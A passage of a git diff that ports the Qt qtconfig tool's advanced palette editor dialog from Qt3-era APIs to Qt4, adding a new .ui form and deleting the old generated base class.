+                                              centralFromIndex(ui->comboCentral->currentIndex())));
+    buttonEffect->setColor(editPalette.color(colorGroup,
+                                             effectFromIndex(ui->comboEffect->currentIndex())));
 }
 
-void PaletteEditorAdvanced::setPal( const QPalette& pal )
+void PaletteEditorAdvanced::setPal(const QPalette &pal)
 {
     editPalette = pal;
-    setPreviewPalette( pal );
     updateColorButtons();
 }
 
@@ -503,51 +321,51 @@ QPalette PaletteEditorAdvanced::pal() const
     return editPalette;
 }
 
-void PaletteEditorAdvanced::setupBackgroundMode( Qt::BackgroundMode mode )
+void PaletteEditorAdvanced::setupBackgroundRole(QPalette::ColorRole role)
 {
     int initRole = 0;
 
-    switch( mode ) {
-    case Qt::PaletteBackground:
+    switch (role) {
+    case QPalette::Window:
         initRole = 0;
         break;
-    case Qt::PaletteForeground:
+    case QPalette::WindowText:
         initRole = 1;
         break;
-    case Qt::PaletteButton:
+    case QPalette::Base:
         initRole = 2;
         break;
-    case Qt::PaletteBase:
+    case QPalette::AlternateBase:
         initRole = 3;
         break;
-    case Qt::PaletteText:
+    case QPalette::ToolTipBase:
         initRole = 4;
         break;
-    case Qt::PaletteBrightText:
+    case QPalette::ToolTipText:
         initRole = 5;
         break;
-    case Qt::PaletteButtonText:
+    case QPalette::Text:
         initRole = 6;
         break;
-    case Qt::PaletteHighlight:
+    case QPalette::Button:
         initRole = 7;
         break;
-    case Qt::PaletteHighlightedText:
+    case QPalette::ButtonText:
         initRole = 8;
         break;
-    case Qt::PaletteLight:
+    case QPalette::BrightText:
         initRole = 9;
         break;
-    case Qt::PaletteMidlight:
+    case QPalette::Highlight:
         initRole = 10;
         break;
-    case Qt::PaletteDark:
+    case QPalette::HighlightedText:
         initRole = 11;
         break;
-    case Qt::PaletteMid:
+    case QPalette::Link:
         initRole = 12;
         break;
-    case Qt::PaletteShadow:
+    case QPalette::LinkVisited:
         initRole = 13;
         break;
     default:
@@ -555,36 +373,27 @@ void PaletteEditorAdvanced::setupBackgroundMode( Qt::BackgroundMode mode )
         break;
     }
 
-    if ( initRole <= -1 ) return;
-
-    if (initRole > 8 ) {
-        comboEffect->setCurrentItem( initRole - 9 );
-    }
-    else {
-        comboCentral->setCurrentItem( initRole );
-    }
+    if (initRole != -1)
+        ui->comboCentral->setCurrentIndex(initRole);
 }
 
-QPalette PaletteEditorAdvanced::getPalette( bool *ok, const QPalette &init,
-                                            Qt::BackgroundMode mode, QWidget* parent,
-                                            const char* name )
+QPalette PaletteEditorAdvanced::getPalette(bool *ok, const QPalette &init,
+                                           QPalette::ColorRole backgroundRole, QWidget *parent)
 {
-    PaletteEditorAdvanced* dlg = new PaletteEditorAdvanced( parent, name, true );
-    dlg->setupBackgroundMode( mode );
+    PaletteEditorAdvanced *dlg = new PaletteEditorAdvanced(parent);
+    dlg->setupBackgroundRole(backgroundRole);
 
-    if ( init != QPalette() )
-        dlg->setPal( init );
+    if (init != QPalette())
+        dlg->setPal(init);
     int resultCode = dlg->exec();
 
     QPalette result = init;
-    if ( resultCode == QDialog::Accepted ) {
-        if ( ok )
-            *ok = true;
+    if (resultCode == QDialog::Accepted)
         result = dlg->pal();
-    } else {
-        if ( ok )
-            *ok = false;
-    }
+
+    if (ok)
+        *ok = resultCode;
+
     delete dlg;
     return result;
 }
diff --git a/tools/qtconfig/paletteeditoradvanced.h b/tools/qtconfig/paletteeditoradvanced.h
index 83bcebb..4f61676 100644
--- a/tools/qtconfig/paletteeditoradvanced.h
+++ b/tools/qtconfig/paletteeditoradvanced.h
@@ -42,69 +42,65 @@
 #ifndef PALETTEEDITORADVANCED_H
 #define PALETTEEDITORADVANCED_H
 
-#include "paletteeditoradvancedbase.h"
+#include <QtGui/QDialog>
 
 QT_BEGIN_NAMESPACE
 
-class PaletteEditorAdvanced : public PaletteEditorAdvancedBase
+namespace Ui {
+    class PaletteEditorAdvanced;
+}
+
+class ColorButton;
+
+class PaletteEditorAdvanced : public QDialog
 {
     Q_OBJECT
 public:
-    PaletteEditorAdvanced( QWidget * parent=0, const char * name=0,
-                           bool modal=false, Qt::WindowFlags f=0 );
+    PaletteEditorAdvanced(QWidget *parent = 0);
     ~PaletteEditorAdvanced();
 
-    static QPalette getPalette( bool *ok, const QPalette &pal, Qt::BackgroundMode mode = Qt::PaletteBackground,
-                                QWidget* parent = 0, const char* name = 0 );
+    static QPalette getPalette(bool *ok, const QPalette &pal,
+                               QPalette::ColorRole backgroundRole = QPalette::Window,
+                               QWidget *parent = 0);
+
+    static QPalette buildEffect(QPalette::ColorGroup colorGroup, const QPalette &basePalette);
 
 protected slots:
     void paletteSelected(int);
 
-    void onCentral( int );
-    void onEffect( int );
+    void onCentral(int);
+    void onEffect(int);
 
     void onChooseCentralColor();
     void onChooseEffectColor();
 
-    void onToggleBuildEffects( bool );
-    void onToggleBuildInactive( bool );
-    void onToggleBuildDisabled( bool );
+    void onToggleBuildEffects(bool);
+    void onToggleBuildInactive(bool);
+    void onToggleBuildDisabled(bool);
 
 protected:
-    void mapToActiveCentralRole( const QColor& );
-    void mapToActiveEffectRole( const QColor& );
-    void mapToActivePixmapRole( const QPixmap& );
-    void mapToInactiveCentralRole( const QColor& );
-    void mapToInactiveEffectRole( const QColor& );
-    void mapToInactivePixmapRole( const QPixmap& );
-    void mapToDisabledCentralRole( const QColor& );
-    void mapToDisabledEffectRole( const QColor& );
-    void mapToDisabledPixmapRole( const QPixmap& );
-
-
-    void buildPalette();
-    void buildActiveEffect();
-    void buildInactive();
-    void buildInactiveEffect();
-    void buildDisabled();
-    void buildDisabledEffect();
+    void buildEffect(QPalette::ColorGroup);
+    void build(QPalette::ColorGroup);
 
 private:
-    void setPreviewPalette( const QPalette& );
     void updateColorButtons();
-    void setupBackgroundMode( Qt::BackgroundMode );
+    void setupBackgroundRole(QPalette::ColorRole);
 
     QPalette pal() const;
-    void setPal( const QPalette& );
+    void setPal(const QPalette &);
 
-    QColorGroup::ColorRole centralFromItem( int );
-    QColorGroup::ColorRole effectFromItem( int );
+    static QPalette::ColorGroup groupFromIndex(int);
+    static QPalette::ColorRole centralFromIndex(int);
+    static QPalette::ColorRole effectFromIndex(int);
     QPalette editPalette;
-    QPalette previewPalette;
+
+    Ui::PaletteEditorAdvanced *ui;
 
     int selectedPalette;
+    ColorButton *buttonCentral;
+    ColorButton *buttonEffect;
 };
 
 QT_END_NAMESPACE
 
-#endif
+#endif // PALETTEEDITORADVANCED_H
diff --git a/tools/qtconfig/paletteeditoradvanced.ui b/tools/qtconfig/paletteeditoradvanced.ui
new file mode 100644
index 0000000..b1d6b95
--- /dev/null
+++ b/tools/qtconfig/paletteeditoradvanced.ui
@@ -0,0 +1,416 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+  <comment>*********************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+*********************************************************************</comment>
+ <class>PaletteEditorAdvanced</class>
+ <widget class="QDialog" name="PaletteEditorAdvanced">
+  <property name="geometry">
+   <rect>
+    <x>0</x>
+    <y>0</y>
+    <width>239</width>
+    <height>344</height>
+   </rect>
+  </property>
+  <property name="windowTitle">
+   <string>Tune Palette</string>
+  </property>
+  <layout class="QVBoxLayout" name="verticalLayout_4">
+   <item>
+    <layout class="QHBoxLayout" name="horizontalLayout">
+     <item>
+      <widget class="QLabel" name="paletteComboLabel">
+       <property name="text">
+        <string>Select &amp;Palette:</string>
+       </property>
+       <property name="buddy">
+        <cstring>paletteCombo</cstring>
+       </property>
+      </widget>
+     </item>
+     <item>
+      <widget class="QComboBox" name="paletteCombo">
+       <item>
+        <property name="text">
+         <string>Active Palette</string>
+        </property>
+       </item>
+       <item>
+        <property name="text">
+         <string>Inactive Palette</string>
+        </property>
+       </item>
+       <item>
+        <property name="text">
+         <string>Disabled Palette</string>
+        </property>
+       </item>
+      </widget>
+     </item>
+    </layout>
+   </item>
+   <item>
+    <widget class="QGroupBox" name="autoGroupBox">
+     <property name="sizePolicy">
+      <sizepolicy hsizetype="Preferred" vsizetype="Maximum">
+       <horstretch>0</horstretch>
+       <verstretch>0</verstretch>
+      </sizepolicy>
+     </property>
+     <property name="title">
+      <string>Auto</string>
+     </property>
+     <layout class="QVBoxLayout" name="verticalLayout">
+      <item>
+       <widget class="QCheckBox" name="checkBuildInactive">
+        <property name="text">
+         <string>Build inactive palette from active</string>
+        </property>
+        <property name="checked">
+         <bool>true</bool>
+        </property>
+       </widget>
+      </item>
+      <item>
+       <widget class="QCheckBox" name="checkBuildDisabled">
+        <property name="text">
+         <string>Build disabled palette from active</string>
+        </property>
+        <property name="checked">
+         <bool>true</bool>
+        </property>
+       </widget>
+      </item>
+     </layout>
+    </widget>
+   </item>
+   <item>
+    <widget class="QGroupBox" name="groupCentral">
+     <property name="title">
+      <string>Central color &amp;roles</string>
+     </property>
+     <layout class="QVBoxLayout" name="verticalLayout_2">
+      <item>
+       <widget class="QComboBox" name="comboCentral">
+        <property name="toolTip">
+         <string>Choose central color role</string>
+        </property>
+        <property name="whatsThis">
+         <string>&lt;b&gt;Select a color role.&lt;/b&gt;&lt;p&gt;Available central roles are: &lt;ul&gt; &lt;li&gt;Window - general background color.&lt;/li&gt; &lt;li&gt;WindowText - general foreground color. &lt;/li&gt; &lt;li&gt;Base - used as background color for e.g. text entry widgets, usually white or another light color. &lt;/li&gt; &lt;li&gt;Text - the foreground color used with Base. Usually this is the same as WindowText, in what case it must provide good contrast both with Window and Base. &lt;/li&gt; &lt;li&gt;Button - general button background color, where buttons need a background different from Window, as in the Macintosh style. &lt;/li&gt; &lt;li&gt;ButtonText - a foreground color used with the Button color. &lt;/li&gt; &lt;li&gt;Highlight - a color to indicate a selected or highlighted item. &lt;/li&gt; &lt;li&gt;HighlightedText - a text color that contrasts to Highlight. &lt;/li&gt; &lt;li&gt;BrightText - a text color that is very different from WindowText and contrasts well with e.g. black. &lt;/li&gt; &lt;/ul&gt; &lt;/p&gt;</string>
+        </property>
+        <item>
+         <property name="text">
+          <string>Window</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>WindowText</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>Base</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>AlternateBase</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>ToolTipBase</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>ToolTipText</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>Text</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>Button</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>ButtonText</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>BrightText</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>Highlight</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>HighlightedText</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>Link</string>
+         </property>
+        </item>
+        <item>
+         <property name="text">
+          <string>LinkVisited</string>
+         </property>
+        </item>
+       </widget>
+      </item>
+      <item>
+       <layout class="QHBoxLayout" name="layoutCentral">
+        <item>
+         <spacer name="horizontalSpacer">
+          <property name="orientation">
+           <enum>Qt::Horizontal</enum>
+          </property>
+          <property name="sizeHint" stdset="0">
+           <size>
+            <width>40</width>
+            <height>20</height>
+           </size>
+          </property>
+         </spacer>
+        </item>
+        <item>
+         <widget class="QLabel" name="labelCentral">
+          <property name="sizePolicy">
+           <sizepolicy hsizetype="Minimum" vsizetype="Minimum">
+            <horstretch>0</horstretch>
+            <verstretch>0</verstretch>
+           </sizepolicy>
+          </property>
+          <property name="minimumSize">
+           <size>
+            <width>0</width>
+            <height>0</height>
+           </size>
+          </property>
+          <property name="text">
+           <string>&amp;Select Color:</string>
+          </property>
+         </widget>
+        </item>
+       </layout>
+      </item>
+     </layout>
+    </widget>
+   </item>
+   <item>
+    <widget class="QGroupBox" name="groupEffect">
+     <property name="title">
+      <string>3-D shadow &amp;effects</string>
+     </property>
+     <layout class="QVBoxLayout" name="verticalLayout_3">
+      <item>
+       <layout class="QHBoxLayout" name="horizontalLayout_2">
+        <item>
+         <widget class="QCheckBox" name="checkBuildEffect">
+          <property name="toolTip">
+           <string>Generate shadings</string>
+          </property>
+          <property name="whatsThis">
+           <string>Check to let 3D-effect colors be calculated from button-color.</string>
+          </property>
+          <property name="text">
+           <string>Build &amp;from button color</string>
+          </property>
+          <property name="checked">
+           <bool>true</bool>
+          </property>
+         </widget>
+        </item>
+        <item>
+         <widget class="QComboBox" name="comboEffect">
+          <property name="enabled">
+           <bool>false</bool>
+          </property>
+          <property name="toolTip">
+           <string>Choose 3D-effect color role</string>
+          </property>
+          <property name="whatsThis">
+           <string>&lt;b&gt;Select a color role.&lt;/b&gt;&lt;p&gt;Available effect roles are: &lt;ul&gt; &lt;li&gt;Light - lighter than Button color. &lt;/li&gt; &lt;li&gt;Midlight - between Button and Light. &lt;/li&gt; &lt;li&gt;Mid - between Button and Dark. &lt;/li&gt; &lt;li&gt;Dark - darker than Button. &lt;/li&gt; &lt;li&gt;Shadow - a very dark color. &lt;/li&gt; &lt;/ul&gt;</string>
+          </property>
+          <item>
+           <property name="text">
+            <string>Light</string>
+           </property>
+          </item>
+          <item>
+           <property name="text">
+            <string>Midlight</string>
+           </property>
+          </item>
+          <item>
+           <property name="text">
+            <string>Mid</string>
+           </property>
+          </item>
+          <item>
+           <property name="text">
+            <string>Dark</string>
+           </property>
+          </item>
+          <item>
+           <property name="text">
+            <string>Shadow</string>
+           </property>
+          </item>
+         </widget>
+        </item>
+       </layout>
+      </item>
+      <item>
+       <layout class="QHBoxLayout" name="layoutEffect">
+        <item>
+         <spacer name="horizontalSpacer_2">
+          <property name="orientation">
+           <enum>Qt::Horizontal</enum>
+          </property>
+          <property name="sizeHint" stdset="0">
+           <size>
+            <width>40</width>
+            <height>20</height>
+           </size>
+          </property>
+         </spacer>
+        </item>
+        <item>
+         <widget class="QLabel" name="labelEffect">
+          <property name="sizePolicy">
+           <sizepolicy hsizetype="Minimum" vsizetype="Minimum">
+            <horstretch>0</horstretch>
+            <verstretch>0</verstretch>
+           </sizepolicy>
+          </property>
+          <property name="minimumSize">
+           <size>
+            <width>0</width>
+            <height>0</height>
+           </size>
+          </property>
+          <property name="text">
+           <string>Select Co&amp;lor:</string>
+          </property>
+         </widget>
+        </item>
+       </layout>
+      </item>
+     </layout>
+    </widget>
+   </item>
+   <item>
+    <widget class="QDialogButtonBox" name="buttonBox">
+     <property name="orientation">
+      <enum>Qt::Horizontal</enum>
+     </property>
+     <property name="standardButtons">
+      <set>QDialogButtonBox::Cancel|QDialogButtonBox::Ok</set>
+     </property>
+    </widget>
+   </item>
+  </layout>
+ </widget>
+ <resources/>
+ <connections>
+  <connection>
+   <sender>buttonBox</sender>
+   <signal>accepted()</signal>
+   <receiver>PaletteEditorAdvanced</receiver>
+   <slot>accept()</slot>
+   <hints>
+    <hint type="sourcelabel">
+     <x>238</x>
+     <y>384</y>
+    </hint>
+    <hint type="destinationlabel">
+     <x>157</x>
+     <y>274</y>
+    </hint>
+   </hints>
+  </connection>
+  <connection>
+   <sender>buttonBox</sender>
+   <signal>rejected()</signal>
+   <receiver>PaletteEditorAdvanced</receiver>
+   <slot>reject()</slot>
+   <hints>
+    <hint type="sourcelabel">
+     <x>306</x>
+     <y>390</y>
+    </hint>
+    <hint type="destinationlabel">
+     <x>286</x>
+     <y>274</y>
+    </hint>
+   </hints>
+  </connection>
+  <connection>
+   <sender>checkBuildEffect</sender>
+   <signal>toggled(bool)</signal>
+   <receiver>comboEffect</receiver>
+   <slot>setDisabled(bool)</slot>
+   <hints>
+    <hint type="sourcelabel">
+     <x>82</x>
+     <y>262</y>
+    </hint>
+    <hint type="destinationlabel">
+     <x>190</x>
+     <y>262</y>
+    </hint>
+   </hints>
+  </connection>
+ </connections>
+</ui>
diff --git a/tools/qtconfig/paletteeditoradvancedbase.cpp b/tools/qtconfig/paletteeditoradvancedbase.cpp
deleted file mode 100644
index 55a03b7..0000000
--- a/tools/qtconfig/paletteeditoradvancedbase.cpp
+++ /dev/null
@@ -1,144 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include "paletteeditoradvancedbase.h"
-#include "colorbutton.h"
-
-#include <QVariant>
-
-QT_BEGIN_NAMESPACE
-
-/*
- *  Constructs a PaletteEditorAdvancedBase as a child of 'parent', with the
- *  name 'name' and widget flags set to 'f'.
- *
- *  The dialog will by default be modeless, unless you set 'modal' to
- *  true to construct a modal dialog.
- */
-PaletteEditorAdvancedBase::PaletteEditorAdvancedBase(QWidget* parent, const char* name, bool modal, Qt::WindowFlags fl)
-    : QDialog(parent, name, modal, fl)
-{
-    setupUi(this);
-
-
-    // signals and slots connections
-    connect(buttonOk, SIGNAL(clicked()), this, SLOT(accept()));
-    connect(buttonCancel, SIGNAL(clicked()), this, SLOT(reject()));
-    connect(paletteCombo, SIGNAL(activated(int)), this, SLOT(paletteSelected(int)));
-    connect(comboCentral, SIGNAL(activated(int)), this, SLOT(onCentral(int)));
-    connect(buttonCentral, SIGNAL(clicked()), this, SLOT(onChooseCentralColor()));
-    connect(buttonEffect, SIGNAL(clicked()), this, SLOT(onChooseEffectColor()));
-    connect(comboEffect, SIGNAL(activated(int)), this, SLOT(onEffect(int)));
-    connect(checkBuildEffect, SIGNAL(toggled(bool)), this, SLOT(onToggleBuildEffects(bool)));
-    connect(checkBuildEffect, SIGNAL(toggled(bool)), comboEffect, SLOT(setDisabled(bool)));
-    connect(checkBuildEffect, SIGNAL(toggled(bool)), buttonEffect, SLOT(setDisabled(bool)));
-    connect(checkBuildInactive, SIGNAL(toggled(bool)), this, SLOT(onToggleBuildInactive(bool)));
-    connect(checkBuildDisabled, SIGNAL(toggled(bool)), this, SLOT(onToggleBuildDisabled(bool)));
-    init();
-}
-
-/*
- *  Destroys the object and frees any allocated resources
- */
-PaletteEditorAdvancedBase::~PaletteEditorAdvancedBase()
-{
-    destroy();
-    // no need to delete child widgets, Qt does it all for us
-}
-
-/*
- *  Sets the strings of the subwidgets using the current
- *  language.
- */
-void PaletteEditorAdvancedBase::languageChange()
-{
-    retranslateUi(this);
-}
-
-void PaletteEditorAdvancedBase::init()
-{
-}
-
-void PaletteEditorAdvancedBase::destroy()
-{
-}
-
-void PaletteEditorAdvancedBase::onCentral(int)
-{
-    qWarning("PaletteEditorAdvancedBase::onCentral(int): Not implemented yet");
-}
-
-void PaletteEditorAdvancedBase::onChooseCentralColor()
-{
-    qWarning("PaletteEditorAdvancedBase::onChooseCentralColor(): Not implemented yet");
-}
-
-void PaletteEditorAdvancedBase::onChooseEffectColor()
-{
-    qWarning("PaletteEditorAdvancedBase::onChooseEffectColor(): Not implemented yet");
-}
-
-void PaletteEditorAdvancedBase::onEffect(int)
-{
-    qWarning("PaletteEditorAdvancedBase::onEffect(int): Not implemented yet");
-}
-
-void PaletteEditorAdvancedBase::onToggleBuildDisabled(bool)
-{
-    qWarning("PaletteEditorAdvancedBase::onToggleBuildDisabled(bool): Not implemented yet");
-}
-
-void PaletteEditorAdvancedBase::onToggleBuildEffects(bool)
-{
-    qWarning("PaletteEditorAdvancedBase::onToggleBuildEffects(bool): Not implemented yet");
-}
-
-void PaletteEditorAdvancedBase::onToggleBuildInactive(bool)
-{
-    qWarning("PaletteEditorAdvancedBase::onToggleBuildInactive(bool): Not implemented yet");
-}
-
-void PaletteEditorAdvancedBase::paletteSelected(int)
-{
-    qWarning("PaletteEditorAdvancedBase::paletteSelected(int): Not implemented yet");
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qtconfig/paletteeditoradvancedbase.ui b/tools/qtconfig/paletteeditoradvancedbase.ui
deleted file mode 100644
index 8965960..0000000
--- a/tools/qtconfig/paletteeditoradvancedbase.ui
+++ /dev/null
@@ -1,617 +0,0 @@
-<ui version="4.0" stdsetdef="1" >
-  <author></author>
-  <comment>*********************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-*********************************************************************</comment>
-  <exportmacro></exportmacro>
-  <class>PaletteEditorAdvancedBase</class>
-  <widget class="QDialog" name="PaletteEditorAdvancedBase" >
-    <property name="objectName" >
-      <string notr="true" >PaletteEditorAdvancedBase</string>
-    </property>
-    <property name="enabled" >
-      <bool>true</bool>
-    </property>
-    <property name="geometry" >
-      <rect>
-        <x>0</x>
-        <y>0</y>
-        <width>295</width>
-        <height>346</height>
-      </rect>
-    </property>
-    <property name="windowTitle" >
-      <string>Tune Palette</string>
-    </property>
-    <property name="sizeGripEnabled" >
-      <bool>true</bool>
-    </property>
-    <property name="whatsThis" stdset="0" >
-      <string>&lt;b>Edit Palette&lt;/b>&lt;p>Change the palette of the current widget or form.&lt;/p>&lt;p>Use a generated palette or select colors for each color group and each color role.&lt;/p>&lt;p>The palette can be tested with different widget layouts in the preview section.&lt;/p></string>
-    </property>
-    <layout class="QVBoxLayout" >
-      <property name="objectName" >
-        <string notr="true" >unnamed</string>
-      </property>
-      <property name="margin" >
-        <number>11</number>
-      </property>
-      <property name="spacing" >
-        <number>6</number>
-      </property>
-      <item>
-        <layout class="QHBoxLayout" >
-          <property name="objectName" >
-            <string notr="true" >unnamed</string>
-          </property>
-          <property name="margin" >
-            <number>0</number>
-          </property>
-          <property name="spacing" >
-            <number>6</number>
-          </property>
-          <item>
-            <widget class="QLabel" name="TextLabel1" >
-              <property name="objectName" >
-                <string notr="true" >TextLabel1</string>
-              </property>
-              <property name="text" >
-                <string>Select &amp;Palette:</string>
-              </property>
-              <property name="buddy" stdset="0" >
-                <cstring>paletteCombo</cstring>
-              </property>
-            </widget>
-          </item>
-          <item>
-            <widget class="QComboBox" name="paletteCombo" >
-              <property name="objectName" >
-                <string notr="true" >paletteCombo</string>
-              </property>
-              <item>
-                <property name="text" >
-                  <string>Active Palette</string>
-                </property>
-              </item>
-              <item>
-                <property name="text" >
-                  <string>Inactive Palette</string>
-                </property>
-              </item>
-              <item>
-                <property name="text" >
-                  <string>Disabled Palette</string>
-                </property>
-              </item>
-            </widget>
-          </item>
-        </layout>
-      </item>
-      <item>
-        <widget class="Q3ButtonGroup" name="ButtonGroup1" >
-          <property name="objectName" >
-            <string notr="true" >ButtonGroup1</string>
-          </property>
-          <property name="sizePolicy" >
-            <sizepolicy>
-              <hsizetype>5</hsizetype>
-              <vsizetype>4</vsizetype>
-              <horstretch>0</horstretch>
-              <verstretch>0</verstretch>
-            </sizepolicy>
-          </property>
-          <property name="title" >
-            <string>Auto</string>
-          </property>
-          <layout class="QVBoxLayout" >
-            <property name="objectName" >
-              <string notr="true" >unnamed</string>
-            </property>
-            <property name="margin" >
-              <number>11</number>
-            </property>
-            <property name="spacing" >
-              <number>6</number>
-            </property>
-            <item>
-              <widget class="QCheckBox" name="checkBuildInactive" >
-                <property name="objectName" >
-                  <string notr="true" >checkBuildInactive</string>
-                </property>
-                <property name="text" >
-                  <string>Build inactive palette from active</string>
-                </property>
-                <property name="checked" >
-                  <bool>true</bool>
-                </property>
-              </widget>
-            </item>
-            <item>
-              <widget class="QCheckBox" name="checkBuildDisabled" >
-                <property name="objectName" >
-                  <string notr="true" >checkBuildDisabled</string>
-                </property>
-                <property name="text" >
-                  <string>Build disabled palette from active</string>
-                </property>
-                <property name="checked" >
-                  <bool>true</bool>
-                </property>
-              </widget>
-            </item>
-          </layout>
-        </widget>
-      </item>
-      <item>
-        <widget class="Q3GroupBox" name="groupCentral" >
-          <property name="objectName" >
-            <string notr="true" >groupCentral</string>
-          </property>
-          <property name="title" >
-            <string>Central color &amp;roles</string>
-          </property>
-          <layout class="QVBoxLayout" >
-            <property name="objectName" >
-              <string notr="true" >unnamed</string>
-            </property>
-            <property name="margin" >
-              <number>11</number>
-            </property>
-            <property name="spacing" >
-              <number>6</number>
-            </property>
-            <item>
-              <widget class="QComboBox" name="comboCentral" >
-                <property name="objectName" >
-                  <string notr="true" >comboCentral</string>
-                </property>
-                <property name="toolTip" stdset="0" >
-                  <string>Choose central color role</string>
-                </property>
-                <property name="whatsThis" stdset="0" >
-                  <string>&lt;b>Select a color role.&lt;/b>&lt;p>Available central roles are: &lt;ul> &lt;li>Window - general background color.&lt;/li> &lt;li>WindowText - general foreground color. &lt;/li> &lt;li>Base - used as background color for e.g. text entry widgets, usually white or another light color. &lt;/li> &lt;li>Text - the foreground color used with Base. Usually this is the same as WindowText, in what case it must provide good contrast both with Window and Base. &lt;/li> &lt;li>Button - general button background color, where buttons need a background different from Window, as in the Macintosh style. &lt;/li> &lt;li>ButtonText - a foreground color used with the Button color. &lt;/li> &lt;li>Highlight - a color to indicate a selected or highlighted item. &lt;/li> &lt;li>HighlightedText - a text color that contrasts to Highlight. &lt;/li> &lt;li>BrightText - a text color that is very different from WindowText and contrasts well with e.g. black. &lt;/li> &lt;/ul> &lt;/p></string>
-                </property>
-                <item>
-                  <property name="text" >
-                    <string>Window</string>
-                  </property>
-                </item>
-                <item>
-                  <property name="text" >
-                    <string>WindowText</string>
-                  </property>
-                </item>
-                <item>
-                  <property name="text" >
-                    <string>Button</string>
-                  </property>
-                </item>
-                <item>
-                  <property name="text" >
-                    <string>Base</string>
-                  </property>
-                </item>
-                <item>
-                  <property name="text" >
-                    <string>Text</string>
-                  </property>
-                </item>
-                <item>
-                  <property name="text" >
-                    <string>BrightText</string>
-                  </property>
-                </item>
-                <item>
-                  <property name="text" >
-                    <string>ButtonText</string>
-                  </property>
-                </item>
-                <item>
-                  <property name="text" >
-                    <string>Highlight</string>
-                  </property>
-                </item>
-                <item>
-                  <property name="text" >
-                    <string>HighlightedText</string>
-                  </property>
-                </item>
-              </widget>
-            </item>
-            <item>
-              <layout class="QHBoxLayout" >
-                <property name="objectName" >
-                  <string notr="true" >unnamed</string>
-                </property>
-                <property name="margin" >
-                  <number>0</number>
-                </property>
-                <property name="spacing" >
-                  <number>6</number>
-                </property>
-                <item>
-                  <spacer name="Horizontal_Spacing1" >
-                    <property name="sizeHint" >
-                      <size>
-                        <width>20</width>
-                        <height>20</height>
-                      </size>
-                    </property>
-                    <property name="sizeType" >
-                      <enum>Expanding</enum>
-                    </property>
-                    <property name="orientation" >
-                      <enum>Horizontal</enum>
-                    </property>
-                  </spacer>
-                </item>
-                <item>
-                  <widget class="QLabel" name="labelCentral" >
-                    <property name="objectName" >
-                      <string notr="true" >labelCentral</string>
-                    </property>
-                    <property name="sizePolicy" >
-                      <sizepolicy>
-                        <hsizetype>1</hsizetype>
-                        <vsizetype>1</vsizetype>
